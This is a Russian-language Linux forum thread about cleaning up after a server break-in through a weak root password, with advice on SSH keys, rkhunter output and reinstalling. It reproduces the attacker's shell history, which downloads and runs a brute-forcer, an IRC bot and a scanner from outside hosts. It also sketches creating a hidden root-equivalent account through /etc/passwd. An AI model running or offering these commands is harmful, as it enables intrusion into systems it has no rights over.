1

Добрый день такая проблема, взломали сервер поменяли пароль на root и на всех остальных пользователей, первым делом я офигел что немогу залогинится через SSH, после востановления пароля зашел в систему и увидил что в каталоге root появились директории "comiscan" "gosh" "ire", я быстро в логи там ничего нет, в процесы тоже ничего лишнего не висит, слава богу взломщик забыл почистить .bash_history и вот что я там увидил  oO

+ открыть спойлер

w
uname -a
w
cd /home
ls -a
passwd zver
cd /opt
cd bomfunk
chmod +x *
./start helplinux
w
ls -a
cat .bash_history
last -10
exit
w
ls -a
cat/proc/cpuinfo
cat /proc/cpuinfo
uname -a
passwd
wget irchack.99k.org/comiscan.tgz
wget http://mirc.go.ro/ire.tgz
tar -xzvf comiscan.tgz
tar -xzvf ire.gz
tar -xzvf ire.tgz
cd .time
./start irefutabil
cd
wget  felian.webs.com/scanner/gosh.gz
tar -xzvf gosh.gz
ls
cd gosh
ls
touch bios.txt
./go.sh 213
cd
cd scan
./screen
yum install libutempter.so.0
apt-get install
apt-get install libutempter.so.0
./screen
apt-get install libutempter.so.0
apt install libutempter.so.0
get install libutempter.so.0
atp-get install libutempter.so.0
apt-get install libutempter.so.0
apt-get install libutempter.so
apt-get install libutempter.so.
ls
ps x
cd gosh
./go.sh 202
ls
ls
cd gosh
./go.sh 134
dir
passwd
reboot

Что это они вообще мне наставили и как с этим бороться подскажите пожалуйста. В принципе сам виноват пароль был слишком легкий 123456 ab

2

Ssh по ключу делай и перевешивай на другой порт, паролный вход вообще отключай.
Saimson, на сколько я понял,
irchack.99k.org/comiscan.tgz - брутфорсер (взломщик паролей со словарем)
mirc.go.ro/ire.tgz  - это какой-то бот.

История показывает, что во всем новом обычно кроется какой-то подвох.
Классическая ошибка, которую совершают проектировщики
абсолютно надежных систем, - недооценка изобретательности клинических идиотов.

3

Я вообще все порты во вне позакрывал, есть доступ к машине с локалки. Вход по ключу попробую сделать если прийдется опять вешать машину во внешнюю сеть. Главный вопрос как от этого установленного хлама избавиться??? каталог /tmp почистил, /opt/bomfunk тоже удалил, но все же где то оно еще в системе присутствует как его деинсталировать?

4 (22.03.2012 16:53:08 отредактировано gramozeka)

Saimson пишет:

но все же где то оно еще в системе присутствует как его деинсталировать?

вручную, повтори всё что было сделано :

wget irchack.99k.org/comiscan.tgz
wget http://mirc.go.ro/ire.tgz
tar -xzvf comiscan.tgz
tar -xzvf ire.tgz
wget  felian.webs.com/scanner/gosh.gz
tar -xzvf gosh.gz

этим получишь исходники смотри какие там файлы и ищи их в своей системе. ire лезет в крон, т.е. нужно проверить чего там изменено. libutempter - соответственно yum'ом убивать. Гарантии к сожалению это не даст потому как неизвестно как долго злоумышленники находились в системе - на это намекает вот это :

cat .bash_history
last -10
exit

т.е. что такое .bash_history и зачем его чистить они знают, а то что осталось вполне может быть оставлено сознательно, с целью отвлечь внимание.( я бы так и сделал  wink ) . Все же полная переустановка в данном случае предпочтительней.

P.S. сообщения этой системы доставляют  :lol:
гуглтранслейт файла .time/r/raway.e :

+ открыть спойлер

* <- Триббл * <- его злой близнец Триббл, Скиппи
* <- Триббл <* <- улыбаясь Триббл
* <- Триббл {{:-( *) - Клингонский есть Триббл
* Bwave / qwk v2.30 * сообщение электронной почты с передовой
... но, кошки были прохладными и никогда не говорил слово mumblin!
Я так чертовски отставал я мог бы также исчезнет
a.a.u.w. - Американская ассоциация уродливые wimmin
муравьеда: напряженный труд.
похищены инопланетянами
Аляски на визуальные. рев скучный Алиса
альтернативное использование цуккини # 12: клуб открытость в консерваторов.
и теперь, радио четыре будут взрываться.
и общий сидел и линий на карте переехал из стороны в сторону
другой либеральной лемминг прыгает с обрыва в небытие!
как смешно, опухоли головного мозга аса.
в Microsoft, качество его работы 1.1!
беспокоить! сказал Пух, как он выразился штифт в поросенка куклу.
лучник колеблется. Вы не IBM совместимый.
бордель: новая зеландия собирая овец двор.
С программистами продолжать.
Челси Клинтон стоит тысячу рекламы презервативов.
выберите кнопку нажмите, черт побери, из хорька лозунги!
Клинтон обороны № 1: Эй, я просто делаю то, что жена говорит.
противоречие: упрямство против глупости.
мужество является дополнением страха. - Хайнлайн
коровы могут прийти и коровы могут пойти, но бык продолжается вечно.
Ктулху высокого давления Лавкрафт вещь ...
сомнительных метрики: 10 ^ 21 = 1 пикколо жиголо
Ошибка в reality.sys, <a> LTER реальности, <r> ООН fantasy.com intead?
EW! Есть мышь на столе! -Артур Дент
умов feminizt закрыты на ремонт.
Продажа: галактики класс корабля, один владелец. связаться кварков.
уйти от динамита, Том сказал, взрывообразно.
получает минет ...
дает нам больше ответственности - б. Клинтон
пошел в парк баррель
Хорошая идея: поцелуи любимого человека. плохая идея: поцелуи незнакомым.
хорошо: горячий секс на открытом воздухе. плохо: вы арестованы. хуже: на вашего мужа.
была прическа вашей жены никогда не была разрушена потолочный вентилятор?
Ненавижу перетащить это, но мне нужно экранного времени - том
Привет. 1-900-отшлепать-я - ворона, как Адам запад по телефону
Как вы знаете, когда у вас кончатся невидимыми чернилами?
сколько минбарцев нужно, чтобы вкрутить лампочку? Шеридан
как остаться бедным и наслаждаться этим столько i.r.s.
Я люблю моего окна 95! ummmm errrr 96! ммм Неа, не то 97!
Я открыл книгу просвещения и видел только себя! <cord>
Я положил руку ей на живот, и она сказала бы вы хотели наполнить меня?
Я вижу, мой сигнал он отвернулся от зеленого до красного. - Хендрикс
я думал, что они вылечены, что в 1940 году. сказал доктор.
Я хотел бы быть кем-то другим. Тогда я мог бы поцеловать себя. - Кошка
Я тебя съем на обед каждый день.
Я во всем, что, как дешевый костюм.
Я видел, многоножки и змеи, и моя голова полна боли .....
если я держать вас ближе, я буду сзади вас. - Граучо Маркс
если и держать банку рейд на кухонном столе .. Вы могли бы деревенщина.
им трахать мою сестру! $%
вставить ногу в рот, жевать тщательно, эхо международном ...
Кейт Смит - все кончено. я пел.
кош?? - Шеридан
жизнь это кусок дерьма, когда вы смотрите на это.
lumptadump: стек мешки для мусора, сидя у обочины.
может быть дочерей ваших, как цветы в поле - отмирать и е
механиков сделать это с гидродинамики
производители чипов памяти любить окна!
Закон Мерфи в сексе: это не повредит, я обещаю.
мое единственное сожаление в жизни, что я не кто-то другой.
национальный каталог ирландских членов АА - небольшую книгу
Никсон был Уотергейт, Клинтон бурной.
Роман, Baldrick ... не пупка. Я послал ему свой роман. -Эдмунд
теперь у меня есть 1 меньше, инцидент дразнить вас! - Dragonrider
на коленях ползать война свиней ...
Только две вещи могут началу сексом: взбитые сливки и вишня.
или еще хуже, не иметь ума Дэн Куэйл
оксюморон: гуманное общество
Народ рост: люди, которые не нуждаются в статусе.
Пожалуйста, оставьте сообщение или что-то ...
горшок аварийной ситуации! Wakko Warner
ненормативной лексики - не только для пользователей Windows.
кварки - ура 24-го века, и не только ...
вал, как вы прочитали? хм, никогда не прошлое 3 класса-том
Скалли: Я не знаю, я никогда не имел удовольствия.
она так плоско ребенка была няня с соломинкой.
Размер не имеет значения. судите меня по размерам, не так ли? - Йода
Лозунг Pentium: 3,998245917 подразделение считается вредным.
кто-то может получить травму. знания
что-то должно быть сделано ... что-то безответственный ...
следите, как Канадиенс курить команда Роджера.
бычки как сон! - Якко
Taco Bell вельможи: владелец тако в.
тестирование этого нового сценария
GF здесь, должен бежать errr заняться
высокий Bigshot школу! - Том поет
Буква `N 'может быть гласной, если кто-то стоял за ней.
ш а р н я н г! рецепты В Е Г у привыкание!
wait'll мой молодой заседания жизни слышит - том
Мы все загнали в тот же раз. <horace (8 bc)>
мы не встретились раньше. точно. Кирк повторного Моро
ВЕРД .. прочь
Какого черта ты хочешь? уходить
когда я должен позвонить своему адвокату?
Windows Error # 3214: оператор из терпения!
Желаю вам и вашим веселого Рождества и счастливого Нового года!
Ворф! все еще борется за что эволюционной лестнице - д
Вы кого-то еще я все еще здесь
Вы называете это буря?! л. дан на ураган Кармен
Вы идиоты! вы захватили они дублеров!
Вы видите, что соски на собаку?? - Том
Вы вонючие по назначению, anrn't вас?
твоя мама такая толстая, она прыгала от радости и застрял.

" si contuderis stultum in pila quasi tisanas feriente desuper pilo non auferetur ab eo stultitia eius " © Proverbs 27:22

5

Там кстати в архивах бинарники и что они творят не известно.
chkrootkit, rkhunter - запустить не помешает, clamav попробовать пройтись, хотя это не вирус.  wink

История показывает, что во всем новом обычно кроется какой-то подвох.
Классическая ошибка, которую совершают проектировщики
абсолютно надежных систем, - недооценка изобретательности клинических идиотов.

6

gramozeka пишет:

т.е. что такое .bash_history и зачем его чистить они знают, а то что осталось вполне может быть оставлено сознательно, с целью отвлечь внимание.( я бы так и сделал   ) . Все же полная переустановка в данном случае предпочтительней.

Полную переустановку делать затруднительно, так как сервер обслуживает колл-центр на нем торчит Астериск, а пропускать звонки недопустимо  ac

вручную, повтори всё что было сделано, этим получишь исходники смотри какие там файлы :

Потом каждый полученый фаил искать find-ом и все что будет найдено в системе убивать?

т.е. что такое .bash_history и зачем его чистить они знают, а то что осталось вполне может быть оставлено сознательно, с целью отвлечь внимание.( я бы так и сделал   )

очень даже возможно, вот только одного немогу понять зачем было злоумышленикам менять пароль для root и остальных пользователей в системе?  oO
Если бы они это не сделали, неизвестно когда бы я взлом заметил..

7

newzenon пишет:

chkrootkit, rkhunter - запустить не помешает

Запустил rkhunter вот что он мне ответил

+ открыть спойлер

[19:27:12] System checks summary
[19:27:12] =====================
[19:27:12]
[19:27:12] File properties checks...
[19:27:12] Required commands check failed
[19:27:12] Files checked: 133
[19:27:12] Suspect files: 4
[19:27:12]
[19:27:12] Rootkit checks...
[19:27:12] Rootkits checked : 244
[19:27:12] Possible rootkits: 0
[19:27:12]
[19:27:12] Applications checks...
[19:27:12] Applications checked: 6
[19:27:12] Suspect applications: 3
[19:27:12]
[19:27:12] The system checks took: 2 minutes and 34 seconds
[19:27:12]
[19:27:12] Info: End date is Thu Mar 22 19:27:12 EET 2012

Вот где нашел Warning

+ открыть спойлер

[19:24:47] Warning: Checking for prerequisites               [ Warning ]
[19:24:47] Warning: Checking for prerequisites               [ Warning ]
[19:24:48]          The file of stored file properties (rkhunter.dat) does not exist, and should be created. To do this type in 'rkhunter --propupd'.
[19:24:48] Info: The file properties check will still run as there are checks that can be performed without the rkhunter.dat file.
[19:24:48]
[19:24:48] Warning: WARNING! It is the users responsibility to ensure that when the '--propupd' option
           is used, all the files on their system are known to be genuine, and installed from a
           reliable source. The rkhunter '--check' option will compare the current file properties
           against previously stored values, and report if any values differ. However, rkhunter
           cannot determine what has caused the change, that is for the user to do.

[19:24:48]   /usr/sbin/adduser                               [ Warning ]
[19:24:48] Warning: The command '/usr/sbin/adduser' has been replaced by a script: /usr/sbin/adduser: a /usr/bin/perl script text executable

[19:24:51]   /usr/bin/ldd                                    [ Warning ]
[19:24:51] Warning: The command '/usr/bin/ldd' has been replaced by a script: /usr/bin/ldd: Bourne-Again shell script text executable

[19:24:55]   /usr/bin/lwp-request                            [ Warning ]
[19:24:55] Warning: The command '/usr/bin/lwp-request' has been replaced by a script: /usr/bin/lwp-request: a /usr/bin/perl -w script text executable

[19:25:01]   /bin/which                                      [ Warning ]
[19:25:01] Warning: The command '/bin/which' has been replaced by a script: /bin/which: POSIX shell script text executable

[19:27:07]   Checking if SSH root access is allowed          [ Warning ]
[19:27:07] Warning: The SSH and rkhunter configuration options should be the same:
[19:27:07]          SSH configuration option 'PermitRootLogin': yes
[19:27:07]          Rkhunter configuration option 'ALLOW_SSH_ROOT_USER': no

[19:27:11]   Checking version of GnuPG                       [ Warning ]
[19:27:11] Warning: Application 'gpg', version '1.4.10', is out of date, and possibly a security risk.
[19:27:11] Info: Application 'httpd' not found.
[19:27:11] Info: Application 'named' not found.
[19:27:11]   Checking version of OpenSSL                     [ Warning ]
[19:27:11] Warning: Application 'openssl', version '0.9.8o', is out of date, and possibly a security risk.

[19:27:12]   Checking version of OpenSSH                     [ Warning ]
[19:27:12] Warning: Application 'sshd', version '5.5p1', is out of date, and possibly a security risk.
[19:27:12] Info: Applications checked: 6 out of 9

8 (22.03.2012 22:50:57 отредактировано gramozeka)

Saimson пишет:

вот только одного немогу понять зачем было злоумышленикам менять пароль для root и остальных пользователей в системе?

ну как вариант продемонстрировать себя, хотя тупость школоло тоже исключать нельзя...

Saimson пишет:

Полную переустановку делать затруднительно, так как сервер обслуживает колл-центр на нем торчит Астериск, а пропускать звонки недопустимо

оставлять это всё "как есть" тоже нельзя ибо этим самым компрометируется вся система целиком. Неужто нет бекапов? Или руководство настолько упорото что забивает на безопасность ? Слив данных конкурентам, рассылка спама, попадание в "черные списки", стопицот других вариантов злонамеренного удаленного доступа - вас это не испугивает ? Ну тогда вы чертовски фееричные парни - я бы не стал в такой компании работать даже дворником  wink .
Данный случай, с точки зрения безопасности IT-инфраструктуры, есть вопиющий форс-мажор за который при Петре пороли ботогами досмерти^наказывать надо по самое-нехочу, абсолютно не важно чем там занимается колл-центр(да пусть хоть "секасом-по-телефону" и продажей модных страпонов со стразиками).
[дальше моё ИМХО]
как это выглядит с точки зрения злоумышленников :
1. Получен доступ к более-менее мощному серверу .. --- Ура товарищи !!! сейчас мы их поимеем как больших.
2. Ставим шпионский модуль(да хоть и самописный), как вариант - патченный inetd или любой другой из /bin /usr/sbin , а лучше пару тройку, чтобы он, первое - получал пароли(и\или ключи) пользователей системы, второе - отправлял их по нужному адресу.
3. Чистим за собой всё что можно, проверяем работоспособность, подкидываем горе-админу приманку в виде специально приготовленного .bash_history и меняем пароли, чтобы он(админ тобишь) засуетился..
4. Ждем пока он среагирует и успокоится, после, получив новые пароли(и ключи тоже) спокойно имеем свой профит...

" si contuderis stultum in pila quasi tisanas feriente desuper pilo non auferetur ab eo stultitia eius " © Proverbs 27:22

9 (22.03.2012 23:06:21 отредактировано Saimson)

gramozeka пишет:

Слив данных конкурентам, рассылка спама, попадание в "черные списки", стопицот других вариантов злонамеренного удаленного доступа

Сервер может работать в локальной сети, вариант просто запретить ему ходить в облако?? Или все-же собирать сервер с бэкапов?


gramozeka ты настаиваеш всетаки на переустановке? в ручную искать что где не стоит?

10

Saimson пишет:

gramozeka ты настаиваеш всетаки на переустановке? в ручную искать что где не стоит?

искать черную кошку в темной комнате, когда может оказаться что её там просто нет - лишняя трата времени. По мне так проще в тыщу раз - сменить диск с скомпрометированной системой(для тщательного и всестороннего расследования инцидента и извлечения необходимых данных(базы, конфиги и т.п.) ), установка чистого носителя, установка системы и соответствующего софта - займет в самом дремучем случае часа три-четыре(а при наличии нормального канала и того меньше). Всё таки это стоит тех нервов и изжоги коих можно огрести если вообще ничего не делать. Когда работа сервера будет восстановлена, можно будет спокойно и обстоятельно исследовать как и благодаря чему произошло то, что произошло, ну и выводы сделать соответственно, с занесением в личное дело. Ничто так не продлевает сон админа, как вовремя и правильно сделанный бекап  wink

" si contuderis stultum in pila quasi tisanas feriente desuper pilo non auferetur ab eo stultitia eius " © Proverbs 27:22

11 (23.03.2012 01:47:34 отредактировано Saimson)

Нашел выход с сложившейся ситуации, возьму соберу такой же сервер на другой машине и в течении "надеюсь" малого времени гдето глубокой ночью быстро заменю сервера. Дабы сэкономить время простоя. smile Всем спасибо за помощь и разяснения! Тему можно закрывать! wink

12

вот к теме вопрос.
есть скрипт с правами 777 и пользователь root:root
возможно ли записать в этот файл какой то код который при вызове этого скрипта от рута создаст нового пользователя с максимально приблежеными правами к root ?

а затем собственно смогут овладеть машиной. Это возможно ?

Никогда не бойся делать то, что ты не умеешь. Помни, "КОВЧЕГ" был построен ЛЮБИТЕЛЕМ. ПРОФЕССИОНАЛЫ построили "ТИТАНИК"

13

Rassol2 пишет:

а затем собственно смогут овладеть машиной. Это возможно ?

ну при наличии долбанутого админа в комплекте с этим скриптом можно конечно  :lol:

" si contuderis stultum in pila quasi tisanas feriente desuper pilo non auferetur ab eo stultitia eius " © Proverbs 27:22

14

gramozeka пишет:
Rassol2 пишет:

а затем собственно смогут овладеть машиной. Это возможно ?

ну при наличии долбанутого админа в комплекте с этим скриптом можно конечно  :lol:

есть у когото подобный скрипт?  :rolleyes:  далбанутых админов я уже наше. Да и сам недалеко ушел ))

Никогда не бойся делать то, что ты не умеешь. Помни, "КОВЧЕГ" был построен ЛЮБИТЕЛЕМ. ПРОФЕССИОНАЛЫ построили "ТИТАНИК"

15

Rassol2 пишет:

есть у когото подобный скрипт?

 Консоль:

$ man bash

wink

" si contuderis stultum in pila quasi tisanas feriente desuper pilo non auferetur ab eo stultitia eius " © Proverbs 27:22

16

gramozeka,  нет что бы помочь человеку с благими намерениями.
А вообше нужен раздел по безопасности и уязвимостям.

Никогда не бойся делать то, что ты не умеешь. Помни, "КОВЧЕГ" был построен ЛЮБИТЕЛЕМ. ПРОФЕССИОНАЛЫ построили "ТИТАНИК"

Rassol2, какие благие, больше похоже на взлом. Создать пользователя с правами рута на чужой машине, получить доступ, не взлом? :o

18

Ну ладненько, поищу где нибудь, все таки вещь в хозяйстве не лишняя.

Никогда не бойся делать то, что ты не умеешь. Помни, "КОВЧЕГ" был построен ЛЮБИТЕЛЕМ. ПРОФЕССИОНАЛЫ построили "ТИТАНИК"

19

Saimson пишет:

Полную переустановку делать затруднительно, так как сервер обслуживает колл-центр на нем торчит Астериск, а пропускать звонки недопустимо

вы мне расскажите, если у вас HDD сдохнет, то что вы делать будете? Вешаться? Или он у вас вечный?

Rassol2 пишет:

возможно ли записать в этот файл какой то код который при вызове этого скрипта от рута создаст нового пользователя с максимально приблежеными правами к root ?

можно скопировать строчку из /etc/passwd которая root, сменив там root на xxx. Получим нового юзера xxx с правами рута. Одна sed команда, которую я буду выдавать только лично, во избежание.

Rassol2 пишет:

а затем собственно смогут овладеть машиной. Это возможно ?

Rassol2 пишет:

есть скрипт с правами 777 и пользователь root:root

ты и так уже имеешь машину по полной программе.

gramozeka пишет:

ну при наличии долбанутого админа в комплекте с этим скриптом можно конечно

причём тут админ-то? Если есть права рута???

Rassol2 пишет:

есть у когото подобный скрипт?

есть, только он не поможет. Это тоже самое, что дать кому-то права рута.
В данном случае, при стандартной модели Linux прав, есть только один вариант - создать юзера, и дать ему доступ к каким-то командам через sudo. Только тут надо учитывать, что этот юзер может всё перенастроить, если ему дать доступ к редактору (любому), или к команде(любой), которая может вызвать редактор. А таких команд 99%.

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)